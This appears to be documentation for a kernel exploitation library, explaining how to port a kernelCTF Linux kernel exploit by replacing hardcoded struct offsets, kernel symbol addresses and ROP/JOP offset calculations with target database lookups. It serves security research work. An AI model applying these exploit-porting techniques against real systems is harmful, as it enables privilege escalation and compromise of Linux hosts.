How to port an existing exploit
Introduction
Let’s compare two versions of the same exploit (exp111):
Original version submitted by researcher to kernelCTF (exploit.c for lts-6.1.61)
libxdk adapted version (exploit.cpp) available in samples folder
to have a high-level overview of typical porting process flow.
Includes
Following the Steps 1,2 of “Creating Database” part of “How to get started” guide, add necessary includes:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <string.h>
-#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <linux/rtnetlink.h>
#include <linux/membarrier.h>
+#include <xdk/core.h>
+#include <xdk/postrip.h>
+INCBIN(target_db, "target_db.kxdb");
Hardcoded sizes and offsets
Substitute hardcoded offsets, sizes etc (following Steps 4-7 of “Creating a Database” section of “How to get started” guide) from the original exploit:
-#define SK_RCU_OFF 744
-#define SK_DESTRUCT_OFF 720
-#define JOP_OFF (READ_BUF_SIZE - SK_RCU_OFF + SK_DESTRUCT_OFF - XATTR_HDR_LEN)
...
-#define XATTR_HDR_LEN 32
#define XATTR_DATA_LEN1 (READ_BUF_SIZE/2)
-#define XATTR_DATA_LEN2 (JOP_OFF + 8)
-
-/* How far out to inc */
-#define OOB_LOC1 688
-#define OOB_LOC2 1040
-/* Target event fds */
-#define TFD1 ((READ_BUF_SIZE - 8 + OOB_LOC1)/8)
-#define TFD2 ((READ_BUF_SIZE - 8 + OOB_LOC2)/8)
-/* Number of increments */
-#define NUM_INCS1 0x830
-#define NUM_INCS2 0xf
with Target
definitions or rely on the already added symbols and structs from target_db
. The process in case of above mentioned exploit could look like this:
Define a variable to initialize TargetDb:
int main (int argc, char **argv) { char name[32]; int num_events = 0; int target_sock; int optval = 1; + TargetDb kxdb(target_db, target_db_size); ```
Target
definitions for the exploit could look like this:+ Target st("kernelctf", "lts-6.1.61"); + + st.AddStruct("netlink_sock", 1120, { + {"sk.sk_destruct", 720, 8}, + {"sk.sk_rcu.next", 744, 8}, + {"sk.sk_rcu.func", 752, 8}, + {"netlink_bind", 1040, 8}, + {"sk.sk_write_space", 688, 8} }); + + st.AddSymbol("__sk_destruct", 0xd1b360); + st.AddSymbol("rtnetlink_bind", 0xd52e80); + + kxdb.AddTarget(st);
Note Mind the fact that
Target
allows adding symbol and structure information on per-target basis.Following Step 8 of “Creating a Database” section of “How to get started” guide, detect on which target the TargetDb being run on, to be able to use correct symbol and offset values:
+ auto target = kxdb.AutoDetectTarget(); + + printf("[+] Running on target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str());
Calculate all of the necessary sizes and offsets in
main()
:+ /* Target event fds */ + auto sk_write_space_off = target.GetFieldOffset("netlink_sock", "sk.sk_write_space"); + auto netlink_bind_off = target.GetFieldOffset("netlink_sock", "netlink_bind"); + auto tfd1 = (READ_BUF_SIZE - 8 + sk_write_space_off)/8; + auto tfd2 = (READ_BUF_SIZE - 8 + netlink_bind_off)/8; + + auto __sk_destruct = target.GetSymbolOffset("__sk_destruct"); + auto sock_def_write_space = target.GetSymbolOffset("sock_def_write_space"); + num_incs1 = __sk_destruct - sock_def_write_space; + + // (gdb) print rtnetlink_bind + // $5 = {int (struct net *, int)} 0xffffffff81d52e80 <rtnetlink_bind> + auto rtnetlink_bind = target.GetSymbolOffset("rtnetlink_bind"); + // (gdb) disassemble rtnetlink_bind + // ... + // 0xffffffff81d52e8f <+15>: jmp 0xffffffff82404c80 <__x86_return_thunk> + auto rtnetlink_bind_ret = target.GetSymbolOffset("rtnetlink_bind") + 0xf; + auto num_incs2 = rtnetlink_bind_ret - rtnetlink_bind; + + auto sk_rcu_off = target.GetFieldOffset("netlink_sock", "sk.sk_rcu.next"); + auto xattr_header_size = target.GetStructSize("simple_xattr"); + auto rop_off = READ_BUF_SIZE - sk_rcu_off - xattr_header_size; + + auto sk_destruct_off = target.GetFieldOffset("netlink_sock", "sk.sk_destruct"); + char xattr_data[rop_off + sk_destruct_off + 8];
Note If the structure or symbol was not defined via
Target
but used above, it means it’s already present intarget_db
and available for all targets.